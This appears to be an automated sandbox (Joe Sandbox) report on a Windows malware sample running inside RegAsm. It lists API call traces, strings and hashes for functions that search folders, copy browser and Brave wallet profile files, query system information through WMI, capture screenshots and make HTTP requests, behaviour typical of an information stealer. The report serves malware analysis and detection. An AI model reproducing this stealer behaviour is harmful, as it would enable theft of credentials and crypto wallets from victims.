strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s\%s, xrefs: 00414DF9
%s\%s, xrefs: 00414DBC
%s\%s, xrefs: 00414E10
%s\*.*, xrefs: 00414D10

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcatwsprintf$FileFindlstrcpystrtok_s$CloseCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2867719434-332874205
Opcode ID: 0bc5adfbe4236ef78a4ad54126e2e77cc3e862c7c695f1d91d4ab824e5d186cb
Instruction ID: 9fc36efd77a6d1cd63b80ec75f09b897df8326cc2b47f4e5761c6ba69d6b93d4
Opcode Fuzzy Hash: 0bc5adfbe4236ef78a4ad54126e2e77cc3e862c7c695f1d91d4ab824e5d186cb
Instruction Fuzzy Hash: 5BC12AB2E0021AABCF21EF61DC45AEE777DAF08305F0144A6F609B3151D7399B858F55

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001,004371C4,004367CF,?,?,?), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 0b36c14b47e0fd9c7b7447fafa283bbeba69ea66fa84174adce9456e951a1997
Instruction ID: 65d458a2be874082b650ad6ccfc12f730853009eff9118d7dbcfdf0fd3eb137e
Opcode Fuzzy Hash: 0b36c14b47e0fd9c7b7447fafa283bbeba69ea66fa84174adce9456e951a1997
Instruction Fuzzy Hash: CAE14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 00409D1C Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001,0043738C,004367FB), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001,004373A0,00436802), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Opera GX, xrefs: 00409E8B
Google Chrome, xrefs: 0040A4B9

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: 43b74e41b735a2950eaa9b795aa936c0c6a742f674b596ee9e9d83e77bc5aa89
Instruction ID: a20a882fd3e2cf19c19de5c34085d4fd9f009afcaba82f6ce1c70ae1e393a276
Opcode Fuzzy Hash: 43b74e41b735a2950eaa9b795aa936c0c6a742f674b596ee9e9d83e77bc5aa89
Instruction Fuzzy Hash: 7D422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C1035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C18F688,00001000), ref: 6C1035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C1035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C10363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C10369F
__aulldiv.LIBCMT ref: 6C1036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C103773
EnterCriticalSection.KERNEL32(6C18F688), ref: 6C10377E
LeaveCriticalSection.KERNEL32(6C18F688), ref: 6C1037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C1037C4
EnterCriticalSection.KERNEL32(6C18F688), ref: 6C1037CB
LeaveCriticalSection.KERNEL32(6C18F688), ref: 6C103801
__aulldiv.LIBCMT ref: 6C103883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C103902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C103918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C10394C

Strings

AuthcAMDenti, xrefs: 6C103946
MOZ_TIMESTAMP_MODE, xrefs: 6C1035DB
GenuntelineI, xrefs: 6C103639
QPC, xrefs: 6C1038FC
GTC, xrefs: 6C103912

Memory Dump Source

Source File: 00000002.00000002.2403932845.000000006C101000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C100000, based on PE: true

Associated: 00000002.00000002.2403878262.000000006C100000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404763433.000000006C18E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404821247.000000006C192000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c100000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 0067beea696771ce686dbb5f705cce5018d1af330ccbbe0b82c58e98d6ce84ce
Instruction ID: 76110e791d3f7e9b710a2a7496eaee08e0201f84e502655f0fbcd57f7fa0522a
Opcode Fuzzy Hash: 0067beea696771ce686dbb5f705cce5018d1af330ccbbe0b82c58e98d6ce84ce
Instruction Fuzzy Hash: 36B1C675B0E3109FDB08DF28C854A1A7BF6BB8B704F158A2EE499D3754DB309902DB91

Function 00415FD1 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 0041608B
%s\*, xrefs: 0041600C
%s\%s, xrefs: 004160D3

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: b86d1d5988e8a5b633457fbb9a5ee7423a29332bb6b218ad99de9aa99dd34375
Instruction ID: e3980370ac94f341e4db787ecefa849356652b5b9a50b55dc8137c0c02bcad1e
Opcode Fuzzy Hash: b86d1d5988e8a5b633457fbb9a5ee7423a29332bb6b218ad99de9aa99dd34375
Instruction Fuzzy Hash: FC81277190022DABCF60EF61CC45ACD77B9FB08305F0194EAE549A3150EE39AA898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF60,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 00411971
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411985
InstallDate, xrefs: 004118ED
Select * From Win32_OperatingSystem, xrefs: 00411895
WQL, xrefs: 0041189A
%d/%d/%d %d:%d:%d, xrefs: 00411943

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: fe6b9a04deeaae94ce61e149b8f4aed9b6b3574a86b373e3e1773863a37c8a56
Instruction ID: 9b83a2dca4a1b3c6c0afd6b9e082c19a49acb0dc1fc89349d09b2b61b6485616
Opcode Fuzzy Hash: fe6b9a04deeaae94ce61e149b8f4aed9b6b3574a86b373e3e1773863a37c8a56
Instruction Fuzzy Hash: F7418D71940209BBCB20CBD5DC89EEFBBBDEFC9B11F20411AF611A6190D7799941CB28

Function 0041C472 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C79D
/, xrefs: 0041C525

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 94b155d6eae385495534a97f883fd4c918c0e8828a42b8e7b6cfe56aff5eeafa
Instruction ID: 63eef66cd8fe0e336db70064ed11a5ad7b696d25642cb4984019eb1642be8bef
Opcode Fuzzy Hash: 94b155d6eae385495534a97f883fd4c918c0e8828a42b8e7b6cfe56aff5eeafa
Instruction Fuzzy Hash: 8E027DB19442698BDF21DF64CC807EEBBB5AF45304F0440EAD948AB242D7389EC5CF99

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406BAB
ERROR, xrefs: 00406AB6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 79b04129377c5d4d45bac19231039a55e3dc9a9d221fd602966d56bbc965de8a
Instruction ID: 58d07afc169a1ce0b47171bb7ce7cc0903f1f08f96176c9b1f2a19a3da15bd67
Opcode Fuzzy Hash: 79b04129377c5d4d45bac19231039a55e3dc9a9d221fd602966d56bbc965de8a
Instruction Fuzzy Hash: 9D51AEB1A00269AFDF20EB60DC84AEEB7B9FB04304F0181B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
